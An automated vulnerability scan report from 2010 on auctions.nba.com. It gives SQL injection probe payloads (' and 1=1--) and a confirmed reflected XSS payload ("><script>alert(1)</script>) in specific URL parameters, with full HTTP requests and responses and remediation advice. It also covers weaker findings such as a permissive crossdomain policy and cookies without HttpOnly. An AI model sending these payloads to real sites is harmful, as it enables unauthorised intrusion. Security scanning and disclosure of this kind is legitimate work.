Report generated by XSS.CX at Mon Nov 08 09:21:31 CST 2010.


Cross Site Scripting Reports | Hoyt LLC Research

1. SQL injection

Loading

2. Cross-site scripting (reflected)

3. Flash cross-domain policy

4. Cookie without HttpOnly flag set

4.1. http://auctions.nba.com/

4.2. http://auctions.nba.com/cgi-bin/ncommerce3/User

5. Cross-domain Referer leakage

5.1. http://auctions.nba.com/cgi-bin/ncommerce3/User

5.2. http://auctions.nba.com/cgi-bin/ncommerce3/User

6. Cross-domain script include

6.1. http://auctions.nba.com/

6.2. http://auctions.nba.com/cgi-bin/ncommerce3/User

7. Robots.txt file

8. HTML does not specify charset

8.1. http://auctions.nba.com/

8.2. http://auctions.nba.com/cgi-bin/ncommerce3/User



1. SQL injection  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://auctions.nba.com
Path:   /cgi-bin/ncommerce3/User

Issue detail

The id parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the id parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Issue background

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

Request 1

GET /cgi-bin/ncommerce3/User?id=nba_cares'%20and%201%3d1--%20&wl=51136034 HTTP/1.1
Host: auctions.nba.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.1 200
Connection: close
Date: Mon, 08 Nov 2010 00:32:43 GMT
Server: Microsoft-IIS/6.0
Content-type: text/html
Set-cookie: TRUID=-1; path=/;
Set-cookie: SESSION_ID=-1,ceWj4vHmggM0P+5m0PkYbIFEuUnEs5JDwuqRYtbBt2wY6cYSnbhs2Q==; path=/;


<!--


-->


<HTML>


                                   
...[SNIP]...
<TITLE>NBA Auctions - Listings for NBA Cares</TITLE>

<script language="JavaScript"><!--
pagename = 'catbar'
//--></script>

</HEAD>

<BODY LINK="#0025B2" VLINK = "#6C076B" ALINK = "blue" BGCOLOR="#FFFFFF" TEXT="black" marginheight = "0" marginwidth = "0" topmargin = "0" leftmargin = "0">





   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   




   

   











       <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/makeCatCat.js"></script>
       <link rel="STYLESHEET" type="text/css" href="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/nba_newLook.css">
       
       <SCRIPT LANGUAGE=JAVASCRIPT SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/winPopup.js" TYPE=TEXT/JAVASCRIPT></SCRIPT>    
       
       <!-- Copyright IBM Corporation, 2001-2005 -->
       <script language="JavaScript1.1">var SA_ID="nbapix;auctionshost";</script>
       <script language="JavaScript1.1" type="text/JavaScript" src="//stats.surfaid.ihost.com/sacdcv3_nbapix_nba.js"></script>
       <noscript><img src="//stats.surfaid.ihost.com/crc/images/uc.GIF?3.00&nbapix&auctionshost&noscript" height="1" width="1" alt="" border="0" /></noscript>        
       
       <script language="JavaScript">
       function skip1(){
       var movie=document.form1.select;
       var dir=movie.options[movie.selectedIndex].value;
       document.location=dir
       }
       </script>
       
       <script language="JavaScript">
       function skip2(){
       var movie=document.form2.select;
       var dir=movie.options[movie.selectedIndex].value;
       document.location=dir
       }
       </script>
       
       <SCRIPT LANGUAGE="javascript"><!--
       function formboxbrowse(){
           if(navigator.appName=="Netscape"){
            document.write('<INPUT TYPE="text" NAME="textsearch" SIZE="11" MAXLENGTH="40">')
           }
           else{
            document.write('<INPUT TYPE="text" NAME="textsearch" class="formboxes" style="WIDTH: 90px;" MAXLENGTH="40">')
           }
       }
       //-->
       </script>
       
       <script language="JavaScript"><!--
       function go() {
        window.location.href =
        document.formFavor.selectFavor.
...[SNIP]...

Request 2

GET /cgi-bin/ncommerce3/User?id=nba_cares'%20and%201%3d2--%20&wl=51136034 HTTP/1.1
Host: auctions.nba.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 2

HTTP/1.1 200
Connection: close
Date: Mon, 08 Nov 2010 00:32:43 GMT
Server: Microsoft-IIS/6.0
Content-type: text/html
Set-cookie: TRUID=-1; path=/;
Set-cookie: SESSION_ID=-1,ceWj4vHmggM0P+5m0PkYbIFEuUnEs5JDwuqRYtbBt2wY6cYSnbhs2Q==; path=/;


<!--


-->


<HTML>


        <HEAD>
<TITLE>NBA Auctions - Listings for </TITLE>

<script language="JavaScript"><!--
pagename = 'catbar'
//--></script>

</HEAD>

<BODY LINK="#0025B2" VLINK = "#6C076B" ALINK = "blue" BGCOLOR="#FFFFFF" TEXT="black" marginheight = "0" marginwidth = "0" topmargin = "0" leftmargin = "0">





   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   

   
   




   

   











       <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/makeCatCat.js"></script>
       <link rel="STYLESHEET" type="text/css" href="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/nba_newLook.css">
       
       <SCRIPT LANGUAGE=JAVASCRIPT SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/winPopup.js" TYPE=TEXT/JAVASCRIPT></SCRIPT>    
       
       <!-- Copyright IBM Corporation, 2001-2005 -->
       <script language="JavaScript1.1">var SA_ID="nbapix;auctionshost";</script>
       <script language="JavaScript1.1" type="text/JavaScript" src="//stats.surfaid.ihost.com/sacdcv3_nbapix_nba.js"></script>
       <noscript><img src="//stats.surfaid.ihost.com/crc/images/uc.GIF?3.00&nbapix&auctionshost&noscript" height="1" width="1" alt="" border="0" /></noscript>        
       
       <script language="JavaScript">
       function skip1(){
       var movie=document.form1.select;
       var dir=movie.options[movie.selectedIndex].value;
       document.location=dir
       }
       </script>
       
       <script language="JavaScript">
       function skip2(){
       var movie=document.form2.select;
       var dir=movie.options[movie.selectedIndex].value;
       document.location=dir
       }
       </script>
       
       <SCRIPT LANGUAGE="javascript"><!--
       function formboxbrowse(){
           if(navigator.appName=="Netscape"){
            document.write('<INPUT TYPE="text" NAME="textsearch" SIZE="11" MAXLENGTH="40">')
           }
           else{
            document.write('<INPUT TYPE="text" NAME="textsearch" class="formboxes" style="WIDTH: 90px;" MAXLENGTH="40">')
           }
       }
       //-->
       </script>
       
       <script language="JavaScript"><!--
       function go() {
        window.location.href =
        document.formFavor.selectFavor.options[

...[SNIP]...

2. Cross-site scripting (reflected)  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://auctions.nba.com
Path:   /cgi-bin/ncommerce3/User

Issue detail

The value of the type request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c41cf"><script>alert(1)</script>12314380d73 was submitted in the type parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

Request

GET /cgi-bin/ncommerce3/User?id=clinba&wl=51136034&type=Lc41cf"><script>alert(1)</script>12314380d73 HTTP/1.1
Host: auctions.nba.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200
Connection: close
Date: Mon, 08 Nov 2010 00:33:09 GMT
Server: Microsoft-IIS/6.0
Content-type: text/html
Set-cookie: TRUID=-1; path=/;
Set-cookie: SESSION_ID=-1,ceWj4vHmggM0P+5m0PkYbIFEuUnEs5JDwuqRYtbBt2wY6cYSnbhs2Q==; path=/;


<!--


-->


<HTML>


                                   
...[SNIP]...
<input type="hidden" NAME="type" value="Lc41cf"><script>alert(1)</script>12314380d73" >
...[SNIP]...

3. Flash cross-domain policy  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://auctions.nba.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: auctions.nba.com

Response

HTTP/1.1 200 OK
Connection: close
Date: Mon, 08 Nov 2010 00:31:00 GMT
Server: Microsoft-IIS/6.0
Content-type: text/plain
Last-modified: Mon, 03 May 2010 12:31:16 GMT
Content-length: 405
Accept-ranges: bytes

<?xml version="1.0"?>
<!-- http://marketplace.edeal.com/crossdomain.xml -->
<cross-domain-policy>
   <allow-access-from domain="*.edeal.com" />
   <allow-access-from domain="*.at.edeal.com" />
   <allow-access-from domain="*.truition.com" />
   <allow-access-from domain="aws.truition.com" />    
   <allow-access-from domain="*.nhl.com" />    
   <allow-access-from domain="*.chase.com" />
...[SNIP]...

4. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



4.1. http://auctions.nba.com/  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://auctions.nba.com
Path:   /

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: auctions.nba.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200
Connection: close
Date: Mon, 08 Nov 2010 00:31:03 GMT
Server: Microsoft-IIS/6.0
Content-type: text/html
Set-cookie: TRUID=-1; path=/;
Set-cookie: SESSION_ID=-1,ceWj4vHmggM0P+5m0PkYbIFEuUnEs5JDQs3S0RHmIUSmync8XGeuMw==; path=/;


                                       <HTML>
<HEAD>

<TITLE>NBA Auctions</TITLE>

<!-- text3 -->
<!-- text4 -->
<!-- text5 -->
<!-- text6 -->
<!-- text7 -->
<!-- text8 -->
<!-- text 9
...[SNIP]...

4.2. http://auctions.nba.com/cgi-bin/ncommerce3/User  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://auctions.nba.com
Path:   /cgi-bin/ncommerce3/User

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cgi-bin/ncommerce3/User HTTP/1.1
Host: auctions.nba.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200
Connection: close
Date: Mon, 08 Nov 2010 00:31:00 GMT
Server: Microsoft-IIS/6.0
Content-type: text/html
Set-cookie: TRUID=-1; path=/; domain=.edeal.com;
Set-cookie: SESSION_ID=-1,ceWj4vHmggM0P+5m0PkYbIFEuUnEs5JDQs3S0RHmIUSmync8XGeuMw==; path=/; domain=.edeal.com;


<!--


-->


<HTML>


<HEAD>
<TITLE>edeal - Listings for </TITLE>
</HEAD>


...[SNIP]...

5. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


5.1. http://auctions.nba.com/cgi-bin/ncommerce3/User  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://auctions.nba.com
Path:   /cgi-bin/ncommerce3/User

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /cgi-bin/ncommerce3/User?id=nba_cares&wl=51136034 HTTP/1.1
Host: auctions.nba.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200
Connection: close
Date: Mon, 08 Nov 2010 00:31:02 GMT
Server: Microsoft-IIS/6.0
Content-type: text/html
Set-cookie: TRUID=-1; path=/;
Set-cookie: SESSION_ID=-1,ceWj4vHmggM0P+5m0PkYbIFEuUnEs5JDQs3S0RHmIUSmync8XGeuMw==; path=/;


<!--


-->


<HTML>


                                   
...[SNIP]...
lack" marginheight = "0" marginwidth = "0" topmargin = "0" leftmargin = "0">


                                                                                                                                                                           <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/makeCatCat.js"></script>
       <link rel="STYLESHEET" type="text/css" href="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/nba_newLook.css">
       
       <SCRIPT LANGUAGE=JAVASCRIPT SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/winPopup.js" TYPE=TEXT/JAVASCRIPT></SCRIPT>
...[SNIP]...
</script>
       <script language="JavaScript1.1" type="text/JavaScript" src="//stats.surfaid.ihost.com/sacdcv3_nbapix_nba.js"></script>
       <noscript><img src="//stats.surfaid.ihost.com/crc/images/uc.GIF?3.00&nbapix&auctionshost&noscript" height="1" width="1" alt="" border="0" /></noscript>
...[SNIP]...
<td class="globalnavInner"><A HREF=http://www.wnba.com>WNBA</a>
...[SNIP]...
<A HREF="/"><IMG SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/nbaAuctions.gif" BORDER=0></A>
...[SNIP]...
<TD><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=14 height=1 border=0></td>
...[SNIP]...
<A HREF="JavaScript:go()"><IMG SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/goButton.gif" BORDER=0></a></td>
                   <TD><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=10 height=1 border=0></td>
...[SNIP]...
<TD COLSPAN=3><IMG SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/headerGradient.jpg" BORDER=0></TD>
...[SNIP]...
<td colspan=2><IMG SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/transition.jpg" BORDER=0></td>
...[SNIP]...
<TD colspan=2><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=6 border=0></TD>
...[SNIP]...
<TD colspan=2><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=6 border=0></TD>
...[SNIP]...
<td width=8><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<TD colspan=2><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=6 border=0></TD>
...[SNIP]...
<td width=8><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<TD colspan=2><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=16 border=0></TD>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
</tr>
       

                                                                                                   <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/item.js"></script>                        

   
                   <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/itemtypes.js"></script>
       <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/feature_sect.js"></script>
...[SNIP]...
<td colspan=2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=18 border=0></td>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=16 border=0></td>
...[SNIP]...
<td colspan=2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0></td>
...[SNIP]...
<td width=8><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<td width=8><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<td width=8><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<td colspan=2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=18 border=0></td>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=16 border=0></td>
...[SNIP]...
<td colspan=2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0></td>
...[SNIP]...
<td><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<A CLASS=NAV HREF="/cgi-bin/ncommerce3/User?id=meinba&wl=51136034&type=L">
   <img src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/logos/meinba.GIF" border="0" alt="The MeiGray Group" align=absmiddle><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=3 height=1 border=0><b>
...[SNIP]...
</a><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=15 height=1 border=0></td>
...[SNIP]...
<TD colspan=2><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=6 border=0></TD>
...[SNIP]...
</tr>
   
   
               <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/feature_extra.js"></script>
...[SNIP]...
<td colspan=2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=30 border=0></td>
...[SNIP]...
<td colspan=2 ALIGN=CENTER><A HREF="http://www.nbaauthenticated.com"><IMG SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/authentication_logo.gif" BORDER=0></A>
...[SNIP]...
<td bgcolor=#B6CBE2><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=1 border=0></td>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/auct_nba/nbaBanners/NBACaresSnowflake.jpg"></td>
...[SNIP]...
<td BGCOLOR="#3470A6" class=wht_12 ALIGN=CENTER><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=4 height=1 border=0><b>
...[SNIP]...
<td><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=10 border=0></td>
...[SNIP]...
<td><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=14 border=0></td>
...[SNIP]...
</TABLE>


<script src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/showItems.js"></script>
...[SNIP]...
<!-- start footer -->

<img src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/nbaFooter.jpg" height="22" border="0" width="800" usemap="#nba-footer">
<map id="nba-footer" name="nba-footer">
<area shape="rect"#NBA Store coords="8,4,63,16" href="http://www.nbastore.com/entry.point?target=z&source=NBAAUCTIONS_NBASTORE_FOOTER" title="NBA Store">
<area shape="rect"#D-League Store coords="85,3,163,17" href="http://www.nbastore.com/entry.point?entry=2829922&league=dleague&source=NBAAUCTIONS_DLEAGUESTORE_FOOTER" title="D-League">
<area shape="rect"#WNBA Store coords="186,3,249,18" href="http://www.nbastore.com/entry.point?entry=1398478&league=wnba&source=NBAAUCTIONS_WNBASTORE_FOOTER" title="WNBA store">
<area shape="rect"#Tickets coords="270,4,312,17" href="http://www.nba.com/tickets/tickets.html" title="Tickets">
...[SNIP]...

5.2. http://auctions.nba.com/cgi-bin/ncommerce3/User  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://auctions.nba.com
Path:   /cgi-bin/ncommerce3/User

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /cgi-bin/ncommerce3/User?id=clinba&wl=51136034&type=L HTTP/1.1
Host: auctions.nba.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200
Connection: close
Date: Mon, 08 Nov 2010 00:31:02 GMT
Server: Microsoft-IIS/6.0
Content-type: text/html
Set-cookie: TRUID=-1; path=/;
Set-cookie: SESSION_ID=-1,ceWj4vHmggM0P+5m0PkYbIFEuUnEs5JDQs3S0RHmIUSmync8XGeuMw==; path=/;


<!--


-->


<HTML>


                                   
...[SNIP]...
lack" marginheight = "0" marginwidth = "0" topmargin = "0" leftmargin = "0">


                                                                                                                                                                           <script type="text/javascript" src="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/makeCatCat.js"></script>
       <link rel="STYLESHEET" type="text/css" href="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/nba_newLook.css">
       
       <SCRIPT LANGUAGE=JAVASCRIPT SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/inc/winPopup.js" TYPE=TEXT/JAVASCRIPT></SCRIPT>
...[SNIP]...
</script>
       <script language="JavaScript1.1" type="text/JavaScript" src="//stats.surfaid.ihost.com/sacdcv3_nbapix_nba.js"></script>
       <noscript><img src="//stats.surfaid.ihost.com/crc/images/uc.GIF?3.00&nbapix&auctionshost&noscript" height="1" width="1" alt="" border="0" /></noscript>
...[SNIP]...
<td class="globalnavInner"><A HREF=http://www.wnba.com>WNBA</a>
...[SNIP]...
<A HREF="/"><IMG SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/nbaAuctions.gif" BORDER=0></A>
...[SNIP]...
<TD><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=14 height=1 border=0></td>
...[SNIP]...
<A HREF="JavaScript:go()"><IMG SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/goButton.gif" BORDER=0></a></td>
                   <TD><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=10 height=1 border=0></td>
...[SNIP]...
<TD COLSPAN=3><IMG SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/headerGradient.jpg" BORDER=0></TD>
...[SNIP]...
<td colspan=2><IMG SRC="http://pics1.edeal.com/images/p2/wl/auct_nba/site/img/transition.jpg" BORDER=0></td>
...[SNIP]...
<TD colspan=2><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=6 border=0></TD>
...[SNIP]...
<TD colspan=2><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=6 border=0></TD>
...[SNIP]...
<td width=8><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<TD colspan=2><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=6 border=0></TD>
...[SNIP]...
<td width=8><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=8 height=1 border=0></TD>
...[SNIP]...
<TD colspan=2><img src="http://pics1.edeal.com/p2/wl/blank.gif" width=1 height=16 border=0></TD>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
<td><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=8 height=1 border=0></td>
   <td width=152><img src="http://pics1.edeal.com/images/p2/wl/blank.gif" width=1 height=6 border=0><br>
...[SNIP]...
